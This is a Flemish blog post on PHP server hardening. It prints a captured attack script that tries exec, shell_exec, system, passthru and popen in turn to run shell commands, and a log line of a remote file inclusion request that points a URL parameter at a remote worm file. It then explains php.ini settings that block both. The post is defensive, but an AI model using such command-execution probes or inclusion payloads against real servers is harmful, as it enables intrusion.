Web development

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?
Alzo; bannen die handel, met de ‘disable_functions‘ in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …
Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).
Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.
Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.